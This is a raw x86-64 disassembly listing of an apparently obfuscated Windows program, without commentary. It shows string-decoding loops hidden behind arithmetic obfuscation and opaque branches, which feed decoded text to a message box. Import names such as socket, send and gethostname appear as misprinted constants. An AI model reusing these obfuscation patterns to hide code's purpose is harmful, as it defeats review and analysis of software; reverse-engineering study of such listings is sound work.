lea ecx, [rbx - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xb
dec rbx
inc rbx
jmp 0x1400b7702
movzx r10d, bl
lea ecx, [r10 + 0x37]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7f
add r10b, 0xb
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x4d
add r10b, r11b
add r10b, dl
mov byte [rbp + rbx + 0x400], r10b
jmp 0x1400b8117
lea ecx, [rbx - 0x6f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 9
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b7702
lea rax, [rbx + r15]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0x1d
movzx r10d, bl
sub r10b, 0x4f
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x29
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x400], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx + 4]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x1c
add r11b, cl
mov byte [rbp + rbx + 0x400], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x400]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b7702
lea rax, [rbx + r14]
and dil, al
add dil, dil
sub al, dil
lea edx, [r11 + rax]
add dl, 0x31
movzx eax, byte [rbp + rbx + 0x400]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b7702
add r10b, 0x1f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x27
jmp 0x1400b7700
add r10b, 0x79
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x4f
jmp 0x1400b76f0
lea r12, [rbp + 0x17b8fc4]
jmp 0x1400b8234
lea r12, [rbp + 0xd88f17]
jmp 0x1400b8234
lea r12, [rbp + 0x400]
mov byte [rbp + 0x950], 0xf7
mov byte [rbp + 0x951], 0xe4
mov byte [rbp + 0x952], Ordinal_60
mov byte [rbp + 0x953], Ordinal_217
mov byte [rbp + 0x954], 0xe3
mov byte [rbp + 0x955], 0xe3
mov byte [rbp + 0x956], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x957], 0xdb
mov byte [rbp + 0x958], Ordinal_50
mov byte [rbp + 0x959], 0xdd
mov byte [rbp + 0x95a], 0xef
mov byte [rbp + 0x95b], 0xe7
mov byte [rbp + 0x95c], Ordinal_30
mov byte [rbp + 0x95d], Ordinal_211
mov byte [rbp + 0x95e], Ordinal_41
mov byte [rbp + 0x95f], Ordinal_30
mov byte [rbp + 0x960], Ordinal_41
mov byte [rbp + 0x961], 0xc9
mov byte [rbp + 0x962], Ordinal_41
mov byte [rbp + 0x963], reloc.WS2_32.dll_send
mov byte [rbp + 0x964], 5
mov byte [rbp + 0x965], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x966], Ordinal_200
mov byte [rbp + 0x967], Ordinal_46
mov byte [rbp + 0x968], reloc.WS2_32.dll_socket
mov byte [rbp + 0x969], 0xc1
mov byte [rbp + 0x96a], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x96b], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x96c], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x96d], 0xdd
mov byte [rbp + 0x96e], Ordinal_33
mov byte [rbp + 0x96f], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x970], gethostname
mov byte [rbp + 0x971], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x972], 3
mov byte [rbp + 0x973], 5
mov byte [rbp + 0x974], Ordinal_217
mov byte [rbp + 0x975], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x976], 1
mov byte [rbp + 0x977], Ordinal_60
mov byte [rbp + 0x978], Ordinal_211
mov byte [rbp + 0x979], reloc.WS2_32.dll_select
mov byte [rbp + 0x97a], 5
mov byte [rbp + 0x97b], 5
mov byte [rbp + 0x97c], 0
mov byte [rbp + 0x97d], gethostname
mov byte [rbp + 0x97e], gethostname
mov byte [rbp + 0x97f], 2
mov byte [rbp + 0x980], gethostname
mov byte [rbp + 0x981], 0xfd
mov byte [rbp + 0x982], 0xea
mov byte [rbp + 0x983], 2
mov byte [rbp + 0x984], gethostname
mov byte [rbp + 0x985], 8
mov byte [rbp + 0x986], gethostname
mov byte [rbp + 0x987], 0xe7
mov byte [rbp + 0x988], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x989], Ordinal_35
mov byte [rbp + 0x98a], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x98b], gethostname
mov byte [rbp + 0x98c], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x98d], Ordinal_46
mov byte [rbp + 0x98e], reloc.WS2_32.dll_select
mov byte [rbp + 0x98f], 0xff
mov byte [rbp + 0x990], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x991], Ordinal_46
mov byte [rbp + 0x992], 0xfa
mov byte [rbp + 0x993], Ordinal_60
mov byte [rbp + 0x994], Ordinal_30
mov byte [rbp + 0x995], 0xf5
mov byte [rbp + 0x996], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x997], reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp + 0x998], Ordinal_50
mov byte [rbp + 0x999], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x99a], 0xf2
mov byte [rbp + 0x99b], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0x99c], 0x55
mov byte [rbp + 0x99d], 0x5e
mov byte [rbp + 0x99e], 0x55
mov byte [rbp + 0x99f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x9a0], 0x5f
mov byte [rbp + 0x9a1], 0x57
mov byte [rbp + 0x9a2], Ordinal_143
mov byte [rbp + 0x9a3], 0x54
mov byte [rbp + 0x9a4], 0x59
mov byte [rbp + 0x9a5], WSAGetLastError
mov byte [rbp + 0x9a6], WSAGetLastError
mov byte [rbp + 0x9a7], 0x5e
mov byte [rbp + 0x9a8], 0x56
mov byte [rbp + 0x9a9], 0x5e
mov byte [rbp + 0x9aa], 0x82
mov byte [rbp + 0x9ab], 0x41
mov byte [rbp + 0x9ac], 0x5d
mov byte [rbp + 0x9ad], Ordinal_79
mov byte [rbp + 0x9ae], 0x48
mov byte [rbp + 0x9af], 0x42
mov byte [rbp + 0x9b0], 0x44
mov byte [rbp + 0x9b1], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x9b2], 0x9a
mov byte [rbp + 0x9b3], 0xab
mov byte [rbp + 0x9b4], 0x40
mov byte [rbp + 0x9b5], 0x48
mov byte [rbp + 0x9b6], 0x57
mov byte [rbp + 0x9b7], 0x44
mov byte [rbp + 0x9b8], Ordinal_79
mov byte [rbp + 0x9b9], __WSAFDIsSet
mov byte [rbp + 0x9ba], 0x7f
mov byte [rbp + 0x9bb], 0x40
mov byte [rbp + 0x9bc], WSAStartup
mov byte [rbp + 0x9bd], 0xad
mov byte [rbp + 0x9be], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x9bf], 0x79
mov byte [rbp + 0x9c0], 0xa8
mov byte [rbp + 0x9c1], 0x68
mov byte [rbp + 0x9c2], 0x7e
mov byte [rbp + 0x9c3], 0x47
mov byte [rbp + 0x9c4], 0x79
mov byte [rbp + 0x9c5], 0x77
mov byte [rbp + 0x9c6], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x9c7], 0x66
mov byte [rbp + 0x9c8], Ordinal_79
mov byte [rbp + 0x9c9], 0x7c
mov byte [rbp + 0x9ca], 0xa2
mov byte [rbp + 0x9cb], 0x62
mov byte [rbp + 0x9cc], 0x7f
mov byte [rbp + 0x9cd], 0x7e
mov byte [rbp + 0x9ce], WSAGetLastError
mov byte [rbp + 0x9cf], 0x52
mov byte [rbp + 0x9d0], WSAGetLastError
mov byte [rbp + 0x9d1], 0x55
mov byte [rbp + 0x9d2], 0xba
mov byte [rbp + 0x9d3], WSAGetLastError
mov byte [rbp + 0x9d4], 0x66
mov byte [rbp + 0x9d5], 0xb5
mov byte [rbp + 0x9d6], 0x66
mov byte [rbp + 0x9d7], 0x65
mov byte [rbp + 0x9d8], 0x67
mov byte [rbp + 0x9d9], WSAStartup
mov byte [rbp + 0x9da], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x9db], WSAGetLastError
mov byte [rbp + 0x9dc], 0x90
mov byte [rbp + 0x9dd], Ordinal_79
mov byte [rbp + 0x9de], 0xa1
mov byte [rbp + 0x9df], __WSAFDIsSet
mov byte [rbp + 0x9e0], 0xa4
mov byte [rbp + 0x9e1], __WSAFDIsSet
mov byte [rbp + 0x9e2], Ordinal_79
mov byte [rbp + 0x9e3], 0x88
mov byte [rbp + 0x9e4], 0x85
mov byte [rbp + 0x9e5], 0xa8
mov byte [rbp + 0x9e6], 0xaa
mov byte [rbp + 0x9e7], 0x9e
mov byte [rbp + 0x9e8], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x9e9], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x9ea], 0x43
mov byte [rbp + 0x9eb], reloc.WLDAP32.dll_Ordinal_35
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9ec], xmm0
mov dword [rbp + 0x9fc], eax
mov word [rbp + 0xa00], ax
mov byte [rbp + 0xa02], al
movabs r13, 0x964a84665c775f74
movzx r11d, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor r14d, r14d
cmp r14, 0xb3
jae 0x1400b8fe7
movzx ebx, byte [rbp + r14 + 0x950]
mov r15d, ebx
nop dword [rax]
cmp r8, r14
ja 0x1400b8fde
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b870c
lea rcx, [r14 + r13]
mov rax, r15
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r15
add r11, rcx
sub r11b, 0x2c
jmp 0x1400b8745
je 0x1400b8f5c
inc rax
cmp r8, rax
je 0x1400b8eca
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b8e94
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b8e58
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b8e11
movzx r10d, r14b
nop dword [rax]
cmp r9, r14
ja 0x1400b8fd5
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x1400b877e
lea edx, [r10 - 0x7c]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b87cb
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b8df5
inc rax
cmp r8, rax
je 0x1400b8dcf
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b8db0
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b8d94
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b8d74
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b8d5a
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, r14
jbe 0x1400b8a86
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b8a67
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x1400b8a42
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400b8a1c
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b89fd
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400b89dd
lea r8, [r9 + 6]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400b8fb5
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400b8f95
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400b88ec
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400b88cd
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400b89b6
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400b87e0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x3e8]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400b8988
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400b896c
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400b894d
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400b8931
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400b8908
lea r8, [r9 + 0x200]
lea r9, [r8 + 0x20]
jmp 0x1400b87e0
lea edx, [r10 + 0x14]
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8750
add r10b, 0x2c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x34
jmp 0x1400b86e0
add r10b, 0x38
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
inc r9
dec r14
inc r14
jmp 0x1400b86c3
sub r10b, 0x68
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x28
jmp 0x1400b8eb1
lea edx, [r10 - 0x50]
movzx eax, dl
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8eec
sub r10b, 0x38
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x78
jmp 0x1400b8f17
sub r10b, 0x20
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x20
movzx eax, byte [rbp + r14 + 0x950]
add rax, r9
add r14, rax
inc r14
jmp 0x1400b86c3
sub r10b, 0x64
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x44
mov byte [rbp + r14 + 0x950], r11b
inc r14
jmp 0x1400b86c3
add r10b, 0x60
movzx eax, r10b
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b8eb1
lea edx, [r10 - 0x70]
movzx eax, dl
and al, bl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8e71
sub r10b, 0x58
movzx eax, r10b
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec r14
inc r14
jmp 0x1400b86c3
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
inc r9
dec r14
inc r14
jmp 0x1400b86c3
lea edx, [r10 - 0x28]
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8e2a
lea rax, [r9 + 9]
cmp r8, rax
jae 0x1400b8b30
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
lea rax, [r8 + r9]
cmp rax, 0x7a
je 0x1400b8d44
lea rax, [r9 + 0x80]
cmp r8, rax
jbe 0x1400b8bb7
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7c
cmp r8, 0x64
jae 0x1400b8d27
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400b8c55
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x18
cmp r9, 0x200
jb 0x1400b89cd
lea ecx, [r10 + 0x38]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x10]
jmp 0x1400b8e2a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b8b67
add r10b, 8
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x38
movzx eax, byte [rbp + r14 + 0x950]
add rax, r9
add r14, rax
inc r14
jmp 0x1400b86c3
inc rax
cmp r8, rax
jne 0x1400b8b8e
lea edx, [r10 - 0x28]
movzx eax, dl
and al, bl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8eec
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b8aa8
sub r10b, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
jmp 0x1400b8eb1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b8bdf
lea edx, [r10 - 0x74]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8e2a
inc rax
cmp r8, rax
jne 0x1400b8c03
add r10b, 0x2c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x34
jmp 0x1400b8eae
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b8c2b
lea edx, [r10 - 4]
movzx eax, dl
and al, bl
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8eec
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b8adb
sub r10b, 0x34
movzx eax, r10b
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400b8f7b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b8c8c
add r10b, 0x10
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x70
movzx eax, byte [rbp + r14 + 0x950]
add rax, r9
add r14, rax
inc r14
jmp 0x1400b86c3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b8caf
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x20
jmp 0x1400b8eec
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b8cd5
sub r10b, 0x50
movzx eax, r10b
and al, bl
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400b8eab
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b8d00
add r10b, 0x80
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x80
dec r14
inc r14
jmp 0x1400b86c3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b8b07
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x1400b8e2a
lea edx, [r10 + 0x20]
movzx eax, dl
and al, bl
movzx ecx, bl
sub cl, al
add cl, 0x10
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400b8e71
lea ecx, [r10 + 8]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rcx - 0x38]
jmp 0x1400b8eec
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x1400b8eec
sub r10b, 0xc
movzx eax, r10b
and al, bl
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b8eb1
add r10b, 0xc
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x54
jmp 0x1400b8eae
lea edx, [r10 + 0x24]
movzx eax, dl
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8e71
add r10b, 0x3c
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec r14
inc r14
jmp 0x1400b86c3
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400b8e2a
movzx r10d, r14b
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
sub r10b, 0x54
movzx eax, r10b
and al, bl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
mov byte [rbp + r14 + 0x950], cl
inc r9
dec r14
inc r14
jmp 0x1400b86c3
movzx r10d, r14b
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3c
sub r10b, 0x6c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0xc
add r10b, bl
add r10b, r11b
mov byte [rbp + r14 + 0x950], r10b
jmp 0x1400b8eae
lea edx, [r14 - 4]
movzx eax, dl
and al, bl
mov ecx, select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r8, r9
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r14, rcx
inc r14
jmp 0x1400b86c3
movabs rax, 0x1c099ecc87439c2c
add rax, r14
and r15b, al
add r15b, r15b
sub al, r15b
lea r11d, [rbx + rax]
sub r11b, 0x34
movzx r10d, r14b
add r10b, 0x7c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x64
add r10b, bl
movzx eax, r10b
mov byte [rbp + r14 + 0x950], al
inc r9
add rax, r9
sub r14, rax
lea edx, [r14 - 0x10]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + r14 + 0x950], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r14, rax
movzx eax, byte [rbp + r14 + 0x950]
add rax, r9
add r14, rax
inc r14
jmp 0x1400b86c3
movabs rax, 0xc2df8d3315661e5c
add rax, r14
and r15b, al
mov ecx, 0x3e
sub cl, r15b
lea r11d, [rcx + rcx]
add r11b, al
add r11b, bl
movzx eax, byte [rbp + r14 + 0x950]
add rax, r9
add r14, rax
inc r14
jmp 0x1400b86c3
add r10b, 0x44
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b86c0
add r10b, 0x5c
movzx eax, r10b
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400b86b0
lea rdx, [rbp + 0x1742b40]
jmp 0x1400b8fee
lea rdx, [rbp + 0x12b8ab4]
jmp 0x1400b8fee
lea rdx, [rbp + 0x950]
mov r8, r12
mov r9d, Ordinal_50
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
movabs r15, 0xbe3b8e1a713d8731
movabs r13, 0x3ab2aa4f53b89593
movabs r12, 0xf6f5bc18a326ffed
movzx r14d, byte [rsp + 0x30]
movzx ebx, byte [rsp + 0x30]
movzx esi, byte [rsp + 0x30]
nop dword [rax]
mov byte [rbp + 0x438], 0xba
mov byte [rbp + 0x439], 0x9e
mov byte [rbp + 0x43a], __WSAFDIsSet
mov byte [rbp + 0x43b], 0x9f
mov byte [rbp + 0x43c], 0x83
mov byte [rbp + 0x43d], Ordinal_143
mov byte [rbp + 0x43e], 0xa6
mov byte [rbp + 0x43f], 0x9b
mov byte [rbp + 0x440], __WSAFDIsSet
mov byte [rbp + 0x441], Ordinal_143
mov byte [rbp + 0x442], 0x9f
mov byte [rbp + 0x443], Ordinal_143
mov byte [rbp + 0x444], 0xbe
mov byte [rbp + 0x445], 0x9c
mov byte [rbp + 0x446], Ordinal_143
mov byte [rbp + 0x447], 0x9e
mov byte [rbp + 0x448], Ordinal_79
mov byte [rbp + 0x449], 0x98
mov byte [rbp + 0x44a], 0xfa
mov byte [rbp + 0x44b], 0xe6
mov byte [rbp + 0x44c], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x44d], xmm0
mov qword [rbp + 0x45d], rax
mov dword [rbp + 0x465], eax
mov word [rbp + 0x469], ax
nop dword [rax]
nop word [rax + rax]
mov r10, qword [0x140220a80]
mov r11, qword [0x140220a78]
nop
xor edi, edi
movabs rcx, 0xfd5ab30b9a2d6a8a
cmp rdi, 0x33
jae 0x1400b973b
movzx r9d, byte [rbp + rdi + 0x438]
mov edx, r9d
cmp r10, rdi
ja 0x1400b9732
lea r8, [r11 + 1]
cmp r10, r8
jae 0x1400b9156
movabs rcx, 0xff1e3bae88b9ce2e
add rcx, rdi
mov eax, edx
and rax, rcx
imul r14, rax, 0xfffffffffffffffe
add r14, rdx
add r14, rcx
sub r14b, 0x42
jmp 0x1400b9183
je 0x1400b96dc
lea rcx, [r11 + 2]
lea rax, [rcx + 1]
cmp r10, rax
je 0x1400b9655
cmp r10, rcx
je 0x1400b9630
lea rax, [r11 + 9]
cmp r10, rax
je 0x1400b95e2
cmp r11, rdi
ja 0x1400b9729
lea rdx, [r11 + 0x200]
cmp r10, rdx
jae 0x1400b91af
lea ecx, [rdi - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x6a
jmp 0x1400b91e0
cmp r10, r8
je 0x1400b95d3
lea rax, [r11 + 3]
cmp r10, rax
je 0x1400b95c9
lea rax, [r8 + 1]
cmp r10, rax
je 0x1400b95af
lea rax, [r11 + 9]
cmp r10, rax
je 0x1400b9584
nop
lea rax, [r11 + r10]
cmp rax, rdi
jbe 0x1400b9274
nop dword [rax]
lea rax, [r11 + 0x200]
cmp r10, rax
je 0x1400b9256
lea r10, [rax + 0x400]
cmp rax, r10
jb 0x1400b9708
lea r11, [r10 + 0x200]
lea rax, [r11 + 0x200]
cmp r10, rax
ja 0x1400b922b
mov r10, rax
lea r11, [rax + 0x200]
jmp 0x1400b91f0
lea ecx, [rdi + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x30
movzx eax, byte [rbp + rdi + 0x438]
add rax, r11
add rdi, rax
inc rdi
jmp 0x1400b9102
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x5c
movzx r8d, dil
jmp 0x1400b9601
cmp r10, rdx
jae 0x1400b9330
lea ecx, [rdi + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x42
lea rax, [r11 + r10]
cmp rax, 0x200
je 0x1400b956e
lea rax, [r11 + 0x200]
cmp r10, rax
jbe 0x1400b93c6
lea edx, [rdi - 0xa]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
cmp r10, 0x200
jae 0x1400b9518
lea rax, [r11 + 0x200]
cmp r10, rax
jbe 0x1400b9472
lea ecx, [rdi - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x24
cmp r11, 0x200
jb 0x1400b9508
movzx r8d, dil
lea ecx, [r8 + 0x54]
movzx eax, cl
and al, r9b
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea r14d, [rdx + rdx]
jmp 0x1400b9601
lea rax, [r11 + 1]
cmp r10, rax
jne 0x1400b9369
lea edx, [rdi - 0x74]
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
movzx eax, byte [rbp + rdi + 0x438]
add rax, r11
add rdi, rax
inc rdi
jmp 0x1400b9102
lea rax, [r11 + 3]
cmp r10, rax
jne 0x1400b9391
lea edx, [rdi + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r9b
jmp 0x1400b9675
lea rax, [r11 + 2]
cmp r10, rax
jne 0x1400b93a7
lea edx, [rdi - 0x4c]
mov ecx, 0xa
jmp 0x1400b9638
lea rax, [r11 + 9]
cmp r10, rax
jne 0x1400b9292
movzx r8d, dil
lea edx, [r8 + 0x6c]
mov ecx, 6
jmp 0x1400b95ef
lea rax, [r11 + 1]
cmp r10, rax
jne 0x1400b93ee
movzx r8d, dil
lea ecx, [r8 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x3e
jmp 0x1400b9601
lea rax, [r11 + 3]
cmp r10, rax
jne 0x1400b9417
lea ecx, [rdi + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea r14d, [r9 + rcx]
sub r14b, 0x46
dec rdi
inc rdi
